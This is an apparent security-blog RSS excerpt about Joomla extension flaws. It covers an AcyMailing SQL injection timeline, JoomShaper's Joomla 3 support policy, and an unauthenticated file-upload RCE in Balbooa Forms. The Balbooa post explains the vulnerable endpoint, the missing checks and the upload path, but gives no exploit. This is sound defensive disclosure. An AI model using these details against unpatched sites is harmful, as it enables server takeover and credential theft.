&lt;/table&gt;
&lt;p&gt;The disclosure ran on a fast cycle from discovery to fix:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Early July 2026&lt;/td&gt;
&lt;td&gt;During routine security research on the extensions our customers rely on, mySites.guru identifies the unauthenticated SQL injection in AcyMailing, confirms it against the code, and builds a working proof of concept on a local install that reads a Super Admin password hash back out of the database. We disclose it privately to Acyba and withhold all public detail.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9 July 2026&lt;/td&gt;
&lt;td&gt;Acyba releases AcyMailing 10.11.1 for both Joomla and WordPress, closing the vulnerability. mySites.guru adds the affected range to its Joomla and WordPress vulnerability databases and publishes this write-up. No proof of concept is released. The Joomla CNA assigns &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56292&quot;&gt;CVE-2026-56292&lt;/a&gt;, crediting mySites.guru.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Our month-long run of Joomla security disclosures&lt;/a&gt; - the wider picture this AcyMailing SQL injection was part of&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56292&quot;&gt;CVE-2026-56292&lt;/a&gt; - the official CVE record, assigned by the Joomla CNA&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acymailing.com/&quot;&gt;AcyMailing official site and downloads&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;AcyMailing official changelog&lt;/a&gt; (the 10.11.1 entry shown above)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla! Security Centre&lt;/a&gt; and the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;OWASP: SQL Injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Updating_an_extension&quot;&gt;Joomla documentation: updating extensions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How mySites.guru mass-updates extensions across every site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>wordpress</category><category>acymailing</category><category>sql injection</category><category>vulnerability</category><category>responsible disclosure</category><enclosure url="https://mysites.guru/_astro/acymailing-sql-injection-disclosure.D2kmzmZe.png" length="0" type="image/png"/></item><item><title>JoomShaper Ends Joomla 3 Security Fixes</title><link>https://mysites.guru/blog/joomshaper-drops-joomla-3-support/</link><guid isPermaLink="true">https://mysites.guru/blog/joomshaper-drops-joomla-3-support/</guid><description>JoomShaper ended Joomla 3 support with no security fixes regardless of severity, then reversed the security half six days later and shipped patches. What to do about it.</description><pubDate>Thu, 09 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;Update, 15 July 2026: JoomShaper has reversed this&lt;/p&gt;
  &lt;p&gt;Six days after the announcement below, JoomShaper released Joomla 3 security patches for Helix Ultimate, Helix3 and SP Page Builder. The &quot;no security patches, regardless of severity&quot; line no longer holds. The rest of the policy does: no new features, no bug fixes, no technical support, and Joomla 3 remains end of life. We read the patch code, and there is a version gate that stops it installing on older Helix builds. &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;Read our breakdown of what is in the patches&lt;/a&gt;. The article below stands as written on 9 July.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;JoomShaper, the developer behind SP Page Builder and the Helix framework, has stopped supporting Joomla 3. In &lt;a href=&quot;https://www.joomshaper.com/blog/joomshaper-drops-joomla-3-support&quot;&gt;an announcement on 9 July 2026&lt;/a&gt; the company confirmed that the Joomla 3 versions of all its products now get no updates, and one line stands out: &quot;No security patches, regardless of severity.&quot; On the company&apos;s stated policy, a critical flaw in the Joomla 3 build of SP Page Builder tomorrow does not get fixed.&lt;/p&gt;
&lt;p&gt;That is a defensible decision, and JoomShaper explains it well: they can secure their own code, but &quot;we can&apos;t secure the Joomla core underneath it,&quot; and the Joomla 3 core has been end of life for a long time. The problem is not the decision. The problem is how many live sites this leaves exposed, and how recently JoomShaper&apos;s own extensions have produced exactly the kind of flaw this policy now leaves unpatched.&lt;/p&gt;
&lt;figure&gt;
  &lt;blockquote&gt;“No security patches, regardless of severity.”&lt;/blockquote&gt;
  &lt;figcaption&gt;JoomShaper, on Joomla 3 support, 9 July 2026&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2&gt;What JoomShaper Actually Announced&lt;/h2&gt;
&lt;p&gt;JoomShaper has ended support for the Joomla 3 versions of every product it makes. That covers SP Page Builder, the Helix framework (both Helix Ultimate and the older Helix3), EasyStore, Power Admin, and its Joomla templates. The Joomla 4, 5, and 6 builds of these products are unaffected and still supported. Only the Joomla 3 versions are frozen.&lt;/p&gt;
&lt;p&gt;The policy is blunt on purpose. No feature updates, no compatibility fixes, and no security patches &quot;regardless of severity&quot; for the Joomla 3 builds. JoomShaper&apos;s stated reasoning is that patching its own extension does nothing when the platform beneath it, the Joomla 3 core, no longer receives fixes either. That is true, and it is the honest position. It also means a Joomla 3 site running these extensions now has two unpatched layers instead of one.&lt;/p&gt;
&lt;p&gt;One clarification worth making, because it gets muddled: Gantry is not a JoomShaper product. Gantry is a RocketTheme framework, and this announcement does not touch it. If you run Gantry-based templates, this specific news is not about you, though the wider Joomla 3 end-of-life problem still is.&lt;/p&gt;
&lt;h2&gt;Why This Is Worse Than a Normal End-of-Life Notice&lt;/h2&gt;
&lt;p&gt;Here is the editorial connection JoomShaper did not make, and it is ours, not theirs. Following a disastrous month of security issues for their products, they are freezing Joomla 3 support just as the risk to those products is at its most visible. SP Page Builder had a critical remote code execution flaw exploited in the wild, and the Helix framework produced two more serious issues in the same window. Now the Joomla 3 builds of exactly those products get no more fixes.&lt;/p&gt;
&lt;p&gt;In June 2026, SP Page Builder had an unauthenticated file upload vulnerability, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48908&quot;&gt;CVE-2026-48908&lt;/a&gt;, scored CVSS 10.0, the maximum. It let anyone on the internet upload and run a file with no login, and it was &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;used in the wild to plant hidden Joomla Super User accounts&lt;/a&gt;. JoomShaper fixed it promptly in version 6.6.2. That fix reached Joomla 4, 5, and 6 sites. Under the policy announced this week, the equivalent fix for a Joomla 3 site would not exist.&lt;/p&gt;
&lt;p&gt;This is not hypothetical. SP Page Builder and Helix are among the most widely installed Joomla extensions in the world, precisely the kind of large, front-facing code that keeps producing this class of bug. A vulnerability of the same severity will turn up again. On the policy as announced, Joomla 3 sites would be on their own when it does. JoomShaper has since patched Joomla 3 once, on 15 July, without committing to do it again.&lt;/p&gt;
&lt;h2&gt;How Many Sites Does This Affect?&lt;/h2&gt;
&lt;p&gt;More than half of all live Joomla sites. According to &lt;a href=&quot;https://w3techs.com/technologies/details/cm-joomla&quot;&gt;W3Techs&lt;/a&gt;, as of July 2026 Joomla 3 still accounts for 54.3 percent of every Joomla site online, the single largest share by version. Joomla 5 sits at around 20 percent, Joomla 4 under 10, and Joomla 6 is still in the single digits.&lt;/p&gt;
&lt;p&gt;That number is the whole story. This is not a niche announcement affecting a handful of legacy holdouts. It is a policy change that applies to the majority of the Joomla web, most of which also runs SP Page Builder or Helix because those are the tools people built Joomla 3 sites with in the first place. If you manage Joomla sites for clients, the odds are high that some of them fall in exactly this gap.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every Joomla 3 Site I Manage?&lt;/h2&gt;
&lt;p&gt;The first job is knowing your exposure, and doing it by hand does not scale. Logging into each site to check its Joomla version and installed extensions is fine for three sites and impossible for thirty. You need one screen that shows every site, its Joomla version, and which JoomShaper extensions each one runs.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every Joomla and WordPress site in your account, with the core version and the full extension list for each. You can filter for Joomla 3 sites in seconds, then cross-reference which of them run SP Page Builder or Helix, so you know which sites are in the danger zone rather than guessing. It also &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;flags end-of-life versions automatically&lt;/a&gt;, so an unsupported core shows up as a warning without you going looking for it.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Find your Joomla 3 exposure in one place&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Filter for Joomla 3 sites and search for SP Page Builder or Helix to see which sites are exposed. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Can I Keep a Joomla 3 Site Patched While I Migrate?&lt;/h2&gt;
&lt;p&gt;Yes, as a stopgap for the core, but not forever and not for the extensions. There are two separate holes to think about: the Joomla 3 core, and the vendor extensions on top of it.&lt;/p&gt;
&lt;p&gt;For the core, mySites.guru can apply the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;Joomla 3.10.999 project&apos;s backported security patches with a single toggle&lt;/a&gt;. That project quietly backported the critical fixes that shipped in Joomla 4 to end-of-life Joomla 3 sites, so a site with the toggle on has the known core holes closed. It is the closest thing to keeping an unsupported core safe, and it does not need an eLTS subscription or any manual file edits.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Patch every known Joomla 3 core issue in one click&lt;/p&gt;
  &lt;p&gt;mySites.guru applies the backported Joomla 3.10.999 security patches across all your Joomla 3 sites from one screen. It buys you time to migrate. &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;See how the one-click Joomla 3 fix works&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;For the extensions, the position changed on 15 July: JoomShaper &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;released Joomla 3 security patches&lt;/a&gt; for SP Page Builder, Helix3 and Helix Ultimate after all. Apply the vendor patch where it installs, and check your Helix version first, because the Helix Ultimate package refuses anything below 2.1.0. mySites.guru also &lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;backports the same fix logic into the Joomla 3 builds&lt;/a&gt; as an in-place guard, applied across every site in your account from one toggle rather than site by site. Either way it is a stopgap, not a solution: closing the door on the flaws we already know about does not make an end-of-life extension supported again. Keeping a Joomla 3 site patched and guarded is sensible while you plan the move; leaving it on SP Page Builder indefinitely is not.&lt;/p&gt;
&lt;h2&gt;The Real Fix Is Migration&lt;/h2&gt;
&lt;p&gt;Patching is a holding pattern. The actual answer to an end-of-life core and an end-of-life vendor policy is to get off Joomla 3, and the supported targets are Joomla 5 and Joomla 6. Note that Joomla 4 is not a safe destination either: its own security support ended in October 2025, so migrating from 3 to 4 would land you on another unsupported line. Aim for 5 or 6 directly.&lt;/p&gt;
&lt;p&gt;Migration is real work, and the honest framing is that it takes planning rather than a click. The part that trips agencies up is keeping sites connected to their management tooling through the version jump. mySites.guru&apos;s connector handles that, so a site stays monitored and backed up right through the migration rather than dropping off your dashboard mid-move. The &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;migration walkthrough&lt;/a&gt; covers the connector swap step by step.&lt;/p&gt;
&lt;p&gt;Before you touch anything, take a full backup, and ideally test the migration on a staging copy first. A Joomla 3 site with SP Page Builder content has a lot of layout data that needs to survive the jump, and you want to find any problems on a copy, not on the live site.&lt;/p&gt;
&lt;h2&gt;This Is Part of a Wider Pattern in Joomla Extensions&lt;/h2&gt;
&lt;p&gt;JoomShaper freezing Joomla 3 is not an isolated event. It sits inside a run of critical Joomla extension flaws we have documented over recent weeks, and the common thread is unauthenticated file uploads leading to remote code execution. The same class of bug turned up in &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, and JoomShaper&apos;s own Helix framework had &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;a critical fix shipped quietly as a plain &quot;Security Update&quot;&lt;/a&gt; that then fed &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;a defacement wave stored in the database&lt;/a&gt;, alongside a separate &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;unauthenticated menu write in Helix Ultimate&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The lesson for anyone running Joomla at scale is that the extension layer is where the attacks land, and a Joomla 3 site now carries that risk with no vendor safety net on either the core or the biggest extensions. That is why the version you run matters as much as the extensions you install.&lt;/p&gt;
&lt;h2&gt;The Bottom Line&lt;/h2&gt;
&lt;p&gt;JoomShaper has done the responsible thing by being clear rather than quietly letting Joomla 3 support rot, and &quot;no security patches, regardless of severity&quot; is at least honest. But it applies to more than half the Joomla web, weeks after their own SP Page Builder had a CVSS 10.0 flaw exploited in the wild. Six days later the company &lt;a href=&quot;https://mysites.guru/blog/joomshaper-reverses-joomla-3-decision/&quot;&gt;patched Joomla 3 anyway&lt;/a&gt;, which is the right outcome and worth saying plainly, though it arrived after a week of telling people no fix was coming. If you manage Joomla sites, find every Joomla 3 install you look after, confirm which run SP Page Builder or Helix, apply the vendor patch where it installs, keep the core patched as a stopgap, and move the priority sites to Joomla 5 or 6. Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site to see what your Joomla 3 exposure actually looks like.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/blog/joomshaper-drops-joomla-3-support&quot;&gt;JoomShaper: Ending Joomla 3 Support&lt;/a&gt; - the original vendor announcement, including the &quot;no security patches, regardless of severity&quot; policy.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/blog/security-update-for-joomla-3-users&quot;&gt;JoomShaper: Security Update for Joomla 3 Users&lt;/a&gt; - the 15 July reversal, shipping Joomla 3 patches for Helix Ultimate, Helix3 and SP Page Builder.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://endoflife.date/joomla&quot;&gt;Joomla End of Life dates (endoflife.date)&lt;/a&gt; - a live reference for which Joomla versions are still supported and when each line reaches end of life.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://elts.joomla.org/&quot;&gt;Joomla Extended Security Support (eLTS)&lt;/a&gt; - the official Joomla project programme that patched Joomla 3 until it ended on 17 February 2025.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://w3techs.com/technologies/details/cm-joomla&quot;&gt;W3Techs Joomla version usage&lt;/a&gt; - the current breakdown of live Joomla sites by version, showing how much of the web still runs Joomla 3.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48908&quot;&gt;CVE-2026-48908&lt;/a&gt; - the SP Page Builder unauthenticated file upload record, the flaw that makes this policy change bite.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>joomshaper</category><category>end-of-life</category><enclosure url="https://mysites.guru/_astro/joomshaper-drops-joomla-3-support.BKm690xE.png" length="0" type="image/png"/></item><item><title>Balbooa Forms Fixes an Unauthenticated File Upload RCE</title><link>https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/</link><guid isPermaLink="true">https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/</guid><description>Balbooa Forms (com_baforms) had an unauthenticated file upload RCE, CVE-2026-56291, fixed in 2.4.1. Three more security releases followed: update to 2.4.3.2.</description><pubDate>Wed, 08 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Balbooa Forms is a popular drag-and-drop form builder for Joomla, installed as the &lt;code&gt;com_baforms&lt;/code&gt; component and used for contact, registration, and survey forms on thousands of sites. Up to and including version 2.4.0, its frontend attachment upload had a serious flaw: it accepted a file from any anonymous visitor, with no login, no CSRF token, and no check on the file type. An attacker could upload a &lt;code&gt;.php&lt;/code&gt; file into a public folder and then run it, which is unauthenticated remote code execution, the worst outcome a web flaw can have. This was a zero-day: it was already being exploited in the wild when we found it, before any patch existed, and those attacks are still going on now against sites that have not updated.&lt;/p&gt;
&lt;p&gt;Balbooa fixed it in version 2.4.1, released on 9 July 2026. &lt;strong&gt;Do not stop at 2.4.1.&lt;/strong&gt; Three more security releases have followed it, the most recent on 18 August 2026, and the minimum safe version is now &lt;strong&gt;2.4.3.2&lt;/strong&gt;. See the update note directly below. This post explains what the original flaw was, how it surfaced, what the fix does, and how to check whether any of your sites were touched, without publishing anything an attacker could copy.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update: 2.4.1 is no longer enough. Go to 2.4.3.2&lt;/p&gt;
  &lt;p&gt;On 28 July 2026 Balbooa released 2.4.3, fixing &lt;strong&gt;CVE-2026-65880&lt;/strong&gt;, a second unauthenticated remote code execution flaw scored CVSS 10.0. It is triggered through the Signature field type and is a completely different bug from the upload flaw described in this post. The CVE record lists every version up to and including 2.4.2.1 as affected, so &lt;strong&gt;2.4.1 and 2.4.2 are both vulnerable&lt;/strong&gt;. Anyone who applied the emergency 2.4.1 update on 9 July and stopped there stayed remotely exploitable for another 19 days. Two further security releases have shipped since, &lt;strong&gt;2.4.3.1&lt;/strong&gt; on 31 July and &lt;strong&gt;2.4.3.2&lt;/strong&gt; on 18 August, so the current minimum is 2.4.3.2. Update every Balbooa Forms install without waiting for a maintenance window, then check each site for stray PHP files and unexpected admin accounts, because a site could already have been hit by either flaw.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: The frontend upload in Balbooa Forms (&lt;code&gt;com_baforms&lt;/code&gt;) up to and including 2.4.0 (fixed in 2.4.1) accepted a file from anyone with no authentication, no CSRF token, and no allow-list on the file extension. Because it trusted the caller&apos;s filename, a &lt;code&gt;.php&lt;/code&gt; upload landed in a public directory and could be executed, which is unauthenticated remote code execution (CWE-434). This is a zero-day that was, and still is, being actively exploited in the wild: it came to light through a Hetzner abuse report that a mySites.guru customer brought to us as a raw access log, evidence of a live attack, and there was no patch at that point. We diagnosed it, disclosed it privately to Balbooa, and they responded the same day and shipped the fix in 2.4.1 within a day, crediting Phil Taylor as the reporter. It is tracked as CVE-2026-56291. No proof of concept has been made public. Since then a second, unrelated unauthenticated RCE (CVE-2026-65880, CVSS 10.0, via the Signature field) has been found and fixed in 2.4.3, and it affected 2.4.1 and 2.4.2 as well, followed by two more security releases, 2.4.3.1 and 2.4.3.2, so &lt;strong&gt;update every Balbooa Forms install to 2.4.3.2 immediately&lt;/strong&gt;, then check exposed sites for stray files and unexpected admin accounts. If you manage more than a handful of Joomla sites, mySites.guru lists every Balbooa Forms install in your account in seconds and pushes the update.&lt;/p&gt;
&lt;h2&gt;How This One Was Found&lt;/h2&gt;
&lt;p&gt;Most vulnerability posts start with a CVE and work backwards. This one started with a log line.&lt;/p&gt;
&lt;p&gt;A customer received an abuse report from Hetzner, the hosting company, about suspicious activity on one of their Joomla sites. Rather than guess at it or panic, they did the right thing: they brought us the raw web server access log and asked us to look. Credit to Hetzner for catching the activity and flagging it, and to the customer for bringing evidence instead of a hunch. A single log line is worth more than a page of speculation.&lt;/p&gt;
&lt;p&gt;That log showed a &lt;code&gt;POST&lt;/code&gt; request to the Balbooa Forms upload handler that had no business succeeding the way it did. We traced the request back through the extension&apos;s code, confirmed that the frontend upload accepted files with no authentication and no restriction on type, and reproduced the whole chain end to end on a local Joomla install within the hour. From there it was a private email to Balbooa, who replied the same day and shipped the fix in version 2.4.1 the next day, on 9 July 2026, crediting Phil Taylor as the reporter. The flaw is now tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56291&quot;&gt;CVE-2026-56291&lt;/a&gt;.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is what responsible disclosure looks like&lt;/p&gt;
  &lt;p&gt;Found through a real abuse report, confirmed in the code, reported privately, and fixed by the vendor within a day, all before any technical detail was published. No exploit has been released. The reason to write about it is to get sites updated, not to show anyone how it worked.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Was Actually Wrong in Balbooa Forms?&lt;/h2&gt;
&lt;p&gt;The flaw was an unauthenticated file upload with no file-type allow-list. The Balbooa Forms upload endpoint runs for any visitor, logged in or not, and before the fix it did three things wrong at once: it required no login, it checked no CSRF token, and it worked out the file extension from the name the visitor supplied and used it as-is. Joomla&apos;s built-in filename cleaner strips dangerous characters, but it does not block a &lt;code&gt;.php&lt;/code&gt; extension, so a file named &lt;code&gt;shell.php&lt;/code&gt; stayed &lt;code&gt;shell.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Put those together and an anonymous request could write an attacker-controlled &lt;code&gt;.php&lt;/code&gt; file into the extension&apos;s upload folder, which by default sits under &lt;code&gt;images/baforms/uploads/&lt;/code&gt; inside the web root. Because that folder is served directly and has nothing stopping PHP from running in it, requesting the uploaded file in a browser executed it. Upload becomes code execution, and no account on the site is needed at any point.&lt;/p&gt;
&lt;p&gt;The important detail for site owners is the &quot;no login&quot; part. Plenty of upload bugs need an editor or admin account first, which limits the blast radius to people you already trust. This one did not. Anyone on the internet who could reach the form could reach the upload handler.&lt;/p&gt;
&lt;h3&gt;Root Cause, In the Code&lt;/h3&gt;
&lt;p&gt;For the developers among you, here is the mechanism without the exploit. The request enters through a single front-end task, &lt;code&gt;index.php?option=com_baforms&amp;amp;task=form.uploadAttachmentFile&lt;/code&gt;. In 2.4.0 the controller that handles it ran no authentication check and no &lt;code&gt;Session::checkToken()&lt;/code&gt; call, so the task was reachable by any anonymous visitor and accepted a raw file straight from the request.&lt;/p&gt;
&lt;p&gt;The controller passed that file to the model&apos;s write routine (&lt;code&gt;FormModel::uploadAttachmentFile&lt;/code&gt;, around line 122 in the front-end &lt;code&gt;FormModel.php&lt;/code&gt;). That routine is where the real problem sat. It worked the file extension out from the attacker-supplied filename, sanitised only the name portion with Joomla&apos;s &lt;code&gt;File::makeSafe()&lt;/code&gt;, and then re-attached the original extension verbatim before writing the file. In effect:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;the extension is taken from the caller&apos;s filename, so &lt;code&gt;shell.php&lt;/code&gt; yields &lt;code&gt;php&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;File::makeSafe()&lt;/code&gt; cleans the name but does not reject a &lt;code&gt;.php&lt;/code&gt; extension;&lt;/li&gt;
&lt;li&gt;the cleaned name and the untouched extension are joined back together (&lt;code&gt;$fileName = $name . &apos;.&apos; . $ext&lt;/code&gt;);&lt;/li&gt;
&lt;li&gt;the file is written under &lt;code&gt;images/baforms/uploads/form-&amp;lt;id&amp;gt;/&lt;/code&gt;, a directory inside the web root that serves and executes PHP.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;There was no allow-list checking the extension against the file types the form is actually meant to accept. That single missing check is the whole vulnerability. With no login, no token, and no allow-list standing in the way, an anonymous upload of a &lt;code&gt;.php&lt;/code&gt; file became code running on the server. We are deliberately not publishing the request body that ties these together, but the shape of the bug is the same one this class of extension keeps producing.&lt;/p&gt;
&lt;h2&gt;Why an Upload Flaw Is as Bad as It Gets&lt;/h2&gt;
&lt;p&gt;An unauthenticated upload that lands executable code is the top of the severity scale, and it is worth being clear about why. Once an attacker can run PHP of their choosing on your server, they are no longer limited to your site. They can read your &lt;code&gt;configuration.php&lt;/code&gt; and the database credentials in it, create a hidden Joomla Super User, plant a backdoor that survives a plugin update, pivot to other sites in the same hosting account, or add the server to a spam or malware network. The uploaded file is rarely the goal in itself; it is the foothold.&lt;/p&gt;
&lt;p&gt;This is the same lesson as the &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints blind spot&lt;/a&gt; we keep coming back to. An endpoint that Joomla will run for anonymous visitors is exposed to the entire internet, so every input it touches has to be treated as hostile. A single allow-list check, &quot;is this file one of the types this form is allowed to accept&quot;, would have stopped this outright.&lt;/p&gt;
&lt;h2&gt;What the 2.4.1 Fix Does&lt;/h2&gt;
&lt;p&gt;Balbooa&apos;s fix is a good one, and it closes the flaw at more than one layer, which is exactly what you want. Version 2.4.1 makes four changes to the frontend upload:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It now validates the file extension on the server against each Upload File field&apos;s own configuration, so a &lt;code&gt;.php&lt;/code&gt; upload to a field that only accepts images is refused.&lt;/li&gt;
&lt;li&gt;It adds a MIME Types option to the Upload File field, so a form can also require the file&apos;s real content type to match, not just its name.&lt;/li&gt;
&lt;li&gt;It generates the stored filename on the server instead of trusting the one the visitor sent. Even a file that gets through as an allowed type is saved under a name the attacker cannot predict, which defeats the classic double-extension trick.&lt;/li&gt;
&lt;li&gt;It adds a CSRF token check to the upload request, so the handler no longer runs for a request that did not come from a real form on the site.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We verified all four against the released package. On 2.4.0, an anonymous request with no token uploaded a &lt;code&gt;.php&lt;/code&gt; file and ran it. On 2.4.1 the same request is rejected outright, and even a request carrying a valid token cannot land executable code, because the extension allow-list and the forced filename both stand in the way. The fix holds.&lt;/p&gt;
&lt;p&gt;There is one thing worth flagging for anyone who reads vendor changelogs to decide what to update. Balbooa&apos;s &lt;a href=&quot;https://www.balbooa.com/help/joomla-forms-documentation/basics/changelog&quot;&gt;2.4.1 changelog&lt;/a&gt; lists these four items under a plain &quot;Fixed&quot; heading, with no mention that they close an actively exploited remote code execution flaw. That is not unusual, and it is not a criticism, but it is a trap. If you triage updates by whether the changelog says &quot;security&quot;, this one reads like routine housekeeping, and you would leave it sitting in the queue while the door stays open. It is the same pattern we saw with the &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Helix3 &quot;Security Update&quot; changelog&lt;/a&gt;: the words in the changelog are a poor guide to how urgent an update really is.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Worth adding: Balbooa did update the changelog, but at the time of writing there is &lt;a href=&quot;https://www.balbooa.com/blog/forms&quot;&gt;no post on the Balbooa Forms blog&lt;/a&gt; about this security issue at all. So the only public signal that 2.4.1 matters is four terse lines under a &quot;Fixed&quot; heading, with nothing anywhere that tells a site owner this closes an actively exploited remote code execution flaw. If you are waiting for a vendor announcement before you update, there is not one to wait for.&lt;/p&gt;
&lt;h2&gt;Four Security Releases in Six Weeks&lt;/h2&gt;
&lt;p&gt;The release described above was the first of four. No single vendor page lists them together, so here is the run:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Release&lt;/th&gt;
&lt;th&gt;What it addressed&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;9 July 2026&lt;/td&gt;
&lt;td&gt;Forms 2.4.1&lt;/td&gt;
&lt;td&gt;The unauthenticated file upload described in this post&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56291&quot;&gt;CVE-2026-56291&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28 July 2026&lt;/td&gt;
&lt;td&gt;Forms 2.4.3&lt;/td&gt;
&lt;td&gt;Unauthenticated remote code execution via the Signature field&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65880&quot;&gt;CVE-2026-65880&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;31 July 2026&lt;/td&gt;
&lt;td&gt;Forms 2.4.3.1&lt;/td&gt;
&lt;td&gt;&quot;Security hardening&quot;, stated as administrator area only&lt;/td&gt;
&lt;td&gt;None assigned&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18 August 2026&lt;/td&gt;
&lt;td&gt;Forms 2.4.3.2 and Gallery 2.5.1.1&lt;/td&gt;
